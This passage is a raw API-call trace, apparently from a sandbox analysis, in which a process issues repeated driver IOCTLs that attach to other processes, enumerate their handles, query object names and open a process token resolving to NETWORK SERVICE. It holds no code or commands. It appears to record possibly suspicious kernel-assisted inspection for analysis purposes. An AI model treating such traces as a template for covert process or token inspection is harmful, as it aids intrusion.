RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.443] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0136.443] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.443] PsAcquireProcessExitSynchronization () returned 0x0 [0136.443] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880054735d0) [0136.443] ObReferenceObjectByHandle (in: Handle=0x658, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0019a8fc0, HandleInformation=0x0) returned 0x0 [0136.443] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.443] PsReleaseProcessExitSynchronization () returned 0x2 [0136.443] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x84 [0136.443] ObQueryNameString (in: Object=0xfffff8a0019a8fc0, ObjectNameInfo=0xfffffa80019fb044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fb044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.443] ObfDereferenceObject (Object=0xfffff8a0019a8fc0) returned 0xa [0136.443] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.443] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.443] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x294) returned 0xc0 [0136.443] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0136.443] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa800a76d690, HandleInformation=0x0) returned 0x0 [0136.443] ObOpenObjectByPointer (in: Object=0xfffffa800a76d690, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000b74) returned 0x0 [0136.443] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xb2 [0136.443] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000b74, DesiredAccess=0x8, TokenHandle=0xfffffa80021959c0 | out: TokenHandle=0xfffffa80021959c0*=0xc8) returned 0x0 [0136.443] ZwClose (Handle=0xffffffff80000b74) returned 0x0 [0136.443] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.443] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0136.443] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x14), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="NETWORK SERVICE", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0136.445] CloseHandle (hObject=0xc8) returned 1 [0136.445] CloseHandle (hObject=0xc0) returned 1 [0136.445] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.445] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0136.445] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.445] PsAcquireProcessExitSynchronization () returned 0x0 [0136.445] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880054735d0) [0136.445] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800306a960, HandleInformation=0x0) returned 0x0 [0136.445] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.445] PsReleaseProcessExitSynchronization () returned 0x2 [0136.445] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xb0 [0136.445] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.445] ObfDereferenceObject (Object=0xfffffa800306a960) returned 0x1 [0136.445] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.445] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.445] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.445] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0136.445] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.445] PsAcquireProcessExitSynchronization () returned 0x0 [0136.445] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880054735d0) [0136.445] ObReferenceObjectByHandle (in: Handle=0x84, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80030da840, HandleInformation=0x0) returned 0x0 [0136.445] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.446] PsReleaseProcessExitSynchronization () returned 0x2 [0136.446] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xb0 [0136.446] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa80019ff044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80019ff044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.446] ObfDereferenceObject (Object=0xfffffa80030da840) returned 0x1 [0136.446] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.446] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.446] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.446] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0136.446] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.446] PsAcquireProcessExitSynchronization () returned 0x0 [0136.446] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880054735d0) [0136.446] ObReferenceObjectByHandle (in: Handle=0x154, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80030eeb60, HandleInformation=0x0) returned 0x0 [0136.446] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.446] PsReleaseProcessExitSynchronization () returned 0x2 [0136.446] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xb0 [0136.446] ObQueryNameString (in: Object=0xfffffa80030eeb60, ObjectNameInfo=0xfffffa8001a0d044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0d044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.446] ObfDereferenceObject (Object=0xfffffa80030eeb60) returned 0x1 [0136.446] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.446] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.446] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.446] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0136.446] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.446] PsAcquireProcessExitSynchronization () returned 0x0 [0136.446] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880054735d0) [0136.446] ObReferenceObjectByHandle (in: Handle=0x15c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80030ef8b0, HandleInformation=0x0) returned 0x0 [0136.446] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.446] PsReleaseProcessExitSynchronization () returned 0x2 [0136.446] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xb0 [0136.446] ObQueryNameString (in: Object=0xfffffa80030ef8b0, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.446] ObfDereferenceObject (Object=0xfffffa80030ef8b0) returned 0x2 [0136.446] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.446] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.446] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.446] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0136.447] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.447] PsAcquireProcessExitSynchronization () returned 0x0 [0136.447] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880054735d0) [0136.447] ObReferenceObjectByHandle (in: Handle=0x160, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80030ef070, HandleInformation=0x0) returned 0x0 [0136.447] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.447] PsReleaseProcessExitSynchronization () returned 0x2 [0136.447] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xb0 [0136.447] ObQueryNameString (in: Object=0xfffffa80030ef070, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.447] ObfDereferenceObject (Object=0xfffffa80030ef070) returned 0x2 [0136.447] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.447] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.447] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.447] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0136.447] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.447] PsAcquireProcessExitSynchronization () returned 0x0 [0136.447] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880054735d0) [0136.447] ObReferenceObjectByHandle (in: Handle=0x168, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80030ed700, HandleInformation=0x0) returned 0x0 [0136.447] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.447] PsReleaseProcessExitSynchronization () returned 0x2 [0136.447] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xb0 [0136.447] ObQueryNameString (in: Object=0xfffffa80030ed700, ObjectNameInfo=0xfffffa8001ffa044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001ffa044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.447] ObfDereferenceObject (Object=0xfffffa80030ed700) returned 0x2 [0136.447] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.447] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.447] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.447] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0136.447] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.447] PsAcquireProcessExitSynchronization () returned 0x0 [0136.447] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880054735d0) [0136.448] ObReferenceObjectByHandle (in: Handle=0x16c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80030ed5b0, HandleInformation=0x0) returned 0x0 [0136.448] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.448] PsReleaseProcessExitSynchronization () returned 0x2 [0136.448] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xb0 [0136.448] ObQueryNameString (in: Object=0xfffffa80030ed5b0, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.448] ObfDereferenceObject (Object=0xfffffa80030ed5b0) returned 0x2 [0136.448] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.448] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.448] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.448] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0136.448] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.448] PsAcquireProcessExitSynchronization () returned 0x0 [0136.448] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880054735d0) [0136.448] ObReferenceObjectByHandle (in: Handle=0x174, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80030f38d0, HandleInformation=0x0) returned 0x0 [0136.448] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.448] PsReleaseProcessExitSynchronization () returned 0x2 [0136.448] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xb0 [0136.448] ObQueryNameString (in: Object=0xfffffa80030f38d0, ObjectNameInfo=0xfffffa80019fc044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fc044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.448] ObfDereferenceObject (Object=0xfffffa80030f38d0) returned 0x2 [0136.448] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.448] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.448] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.448] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x32, lpOverlapped=0x0) returned 1 [0136.448] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.448] PsAcquireProcessExitSynchronization () returned 0x0 [0136.448] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880054735d0) [0136.448] ObReferenceObjectByHandle (in: Handle=0x178, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80030f4f20, HandleInformation=0x0) returned 0x0 [0136.448] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.448] PsReleaseProcessExitSynchronization () returned 0x2 [0136.448] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xb0 [0136.448] ObQueryNameString (in: Object=0xfffffa8002860900, ObjectNameInfo=0xfffffa80019fd044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80019fd044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.448] ObfDereferenceObject (Object=0xfffffa80030f4f20) returned 0x1 [0136.448] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.448] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.449] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.449] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x32, lpOverlapped=0x0) returned 1 [0136.449] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.449] PsAcquireProcessExitSynchronization () returned 0x0 [0136.449] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880054735d0) [0136.449] ObReferenceObjectByHandle (in: Handle=0x17c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80030f4690, HandleInformation=0x0) returned 0x0 [0136.449] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.449] PsReleaseProcessExitSynchronization () returned 0x2 [0136.449] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xb0 [0136.449] ObQueryNameString (in: Object=0xfffffa8002860900, ObjectNameInfo=0xfffffa80019fe044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80019fe044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.449] ObfDereferenceObject (Object=0xfffffa80030f4690) returned 0x1 [0136.449] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.449] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.449] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.449] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0136.449] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.449] PsAcquireProcessExitSynchronization () returned 0x0 [0136.449] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880054735d0) [0136.449] ObReferenceObjectByHandle (in: Handle=0x1b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80030fb4f0, HandleInformation=0x0) returned 0x0 [0136.449] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.449] PsReleaseProcessExitSynchronization () returned 0x2 [0136.449] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xb0 [0136.449] ObQueryNameString (in: Object=0xfffffa80030fb4f0, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.449] ObfDereferenceObject (Object=0xfffffa80030fb4f0) returned 0x2 [0136.449] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.449] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.449] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.449] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0136.449] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.449] PsAcquireProcessExitSynchronization () returned 0x0 [0136.449] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880054735d0) [0136.449] ObReferenceObjectByHandle (in: Handle=0x1b4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80030fd470, HandleInformation=0x0) returned 0x0 [0136.449] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.449] PsReleaseProcessExitSynchronization () returned 0x2 [0136.450] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xb0 [0136.450] ObQueryNameString (in: Object=0xfffffa80030fd470, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.450] ObfDereferenceObject (Object=0xfffffa80030fd470) returned 0x2 [0136.450] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.450] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.450] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.450] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x3e, lpOverlapped=0x0) returned 1 [0136.450] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.450] PsAcquireProcessExitSynchronization () returned 0x0 [0136.450] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880054735d0) [0136.450] ObReferenceObjectByHandle (in: Handle=0x1bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80030fcd10, HandleInformation=0x0) returned 0x0 [0136.450] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.450] PsReleaseProcessExitSynchronization () returned 0x2 [0136.450] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xb0 [0136.450] ObQueryNameString (in: Object=0xfffffa80030fcd10, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.450] ObfDereferenceObject (Object=0xfffffa80030fcd10) returned 0x1 [0136.450] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.450] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.450] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.450] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x3e, lpOverlapped=0x0) returned 1 [0136.450] PsLookupProcessByProcessId (in: ProcessId=0x294, 